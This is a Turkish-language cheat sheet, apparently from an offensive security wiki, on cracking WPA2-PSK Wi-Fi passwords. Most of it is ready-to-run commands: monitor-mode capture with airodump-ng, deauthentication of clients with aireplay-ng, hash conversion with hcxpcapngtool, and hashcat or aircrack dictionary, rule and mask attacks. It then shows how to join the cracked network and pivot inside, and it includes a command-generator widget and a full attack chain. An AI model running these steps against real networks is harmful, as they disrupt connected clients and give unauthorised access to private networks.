WPA2-PSK Handshake Kırma
WPA2 difficulty: orta
WPA2-PSK’da parola ağ üzerinden gitmez; istemci bağlanırken oluşan 4-way handshake (EAPOL) yakalanırsa parola offline sözlük/kural/mask saldırısıyla denenır. Kırılabilirlik tamamen PSK gücüne ve wordlist kalitesine bağlıdır. WPA3-SAE bu klasik yönteme dirençlidir.
Ön koşullar
Section titled “Ön koşullar”- Monitor mode + injection- Hedef: WPA/WPA2 PSK (AUTH PSK, CIPHER CCMP/TKIP)- En az bir istemci (veya doğal reconnect bekle)- rockyou / kurumsal wordlist + hashcat (GPU önerilir)Handshake yakalama
Section titled “Handshake yakalama”-
Hedef AP’yi dinle — kanal ve BSSID’e kilitlen:
Terminal window sudo iw dev wlan0mon set channel 6Terminal window sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa wlan0mon -
İstemciyi düşür (deauth) — yeniden bağlanınca mesaj 1–4 yakalanır:
Terminal window sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon -
Yakalamayı doğrula — airodump sağ üstte WPA handshake: AA:BB:… . Alternatif:
Terminal window aircrack-ng wpa-01.capTerminal window hcxpcapngtool -o test.22000 wpa-01.capTerminal window cowpatty -r wpa-01.cap -c
Doğal handshake (deauth yok): istemci kendiliğinden bağlanana kadar dinle — daha az gürültülü, daha yavaş.
sudo hcxdumptool -i wlan0mon -w dump.pcapng \ --enable_status=15 --filterlist_ap=bssid.txt --filtermode=2aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF wpa-01.capaircrack-ng -w rockyou.txt -e "CorpWifi" wpa-01.caphcxpcapngtool -o hash.22000 wpa-01.caphashcat -m 22000 hash.22000 rockyou.txthashcat -m 22000 hash.22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rulehashcat -m 22000 hash.22000 -a 3 'Sirket?d?d?d?d!'Eski formatlar:
cap2hccapx wpa-01.cap wpa.hccapxWordlist ve kurallar
Section titled “Wordlist ve kurallar”cewl https://www.target.com -m 6 -w cewl.txtcrunch 8 8 -t Corp%%%% -o mask.txthashcat -m 22000 hash.22000 cewl.txt -r rules/best64.rule -Ohashcat -m 22000 hash.22000 --showKurumsal SSID’ler sıkça Sirket2024!, WifiSirket, mevsim+yıl kalıpları kullanır.
İyi handshake / kötü handshake
Section titled “İyi handshake / kötü handshake”Mesaj 1+2 yeterli olabilir (hashcat); aircrack genelde 1–4 isterNonce tekrar / incomplete → hcxpcapngtool uyarı; yeniden yakalaBirden fazla handshake → tool en iyisini seçerMIC hatalı / yanlış ESSID → crack imkânsız; yeniden capturehcxpcapngtool -o hash.22000 wpa-01.cap -E essid.list -I info.txtcat info.txtAğa katılma (PSK bulunduktan sonra)
Section titled “Ağa katılma (PSK bulunduktan sonra)”sudo nmcli dev wifi connect "CorpWifi" password 'FoundPSK'network={ssid="CorpWifi"psk="FoundPSK"}sudo wpa_supplicant -i wlan0 -c wpa_supplicant.conf -Bsudo dhclient wlan0Sonrasında iç ağ: scanning, DHCP ile yeni segment.
WPA1 / TKIP notu
Section titled “WPA1 / TKIP notu”WPA1-PSK (TKIP) → aynı 4-way; hashcat 22000 yine geçerliKarışık WPA/WPA2 → yine EAPOL yakalaGeçiş modu AP → istemci CCMP tercih ederse CCMP handshake gelirKomut üreteci
Section titled “Komut üreteci”airodump · capture
embedded toolGenerated command
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa wlan0monairodump · capture
Section titled “airodump · capture”Saldırı zinciri
Section titled “Saldırı zinciri”recon → airodump kilit → deauth client → hcxpcapngtool → hash.22000 → hashcat + cewl + rules → PSK → iç ağ pivotİstemci yok / PMF → PMKID dene → hcxdumptool → aynı 22000